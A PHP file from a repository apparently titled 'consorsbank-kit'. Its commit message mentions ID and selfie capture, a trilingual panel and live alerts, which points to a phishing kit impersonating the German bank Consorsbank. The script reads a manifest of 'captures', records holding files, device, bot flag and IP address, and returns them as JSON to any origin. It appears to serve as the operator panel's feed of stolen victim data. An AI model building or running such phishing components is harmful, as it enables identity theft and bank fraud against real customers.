consorsbank-kit / captures.php
CJs
Deploy v2: German localization, ID/selfie capture, trilingual panel, sound alerts, live movements
9d38145
Raw History Blame Contribute Delete
1.01 kB
<?php
/**
* captures.php — returns captures/manifest.jsonl as a JSON array (newest last).
* Each line: {ts, client_id, kind, idx, files, cloud, quality, device, bot, ip}.
*/
declare(strict_types=1);
require_once __DIR__ . '/lib.php';
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store');
$out = [];
try {
$file = __DIR__ . '/captures/manifest.jsonl';
if (is_file($file)) {
$raw = @file_get_contents($file);
if (is_string($raw) && $raw !== '') {
foreach (explode("\n", $raw) as $line) {
$line = trim($line);
if ($line === '') {
continue;
}
$j = json_decode($line, true);
if (is_array($j)) {
$out[] = $j;
}
}
}
}
} catch (Throwable $e) {
$out = [];
}
echo json_encode($out, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);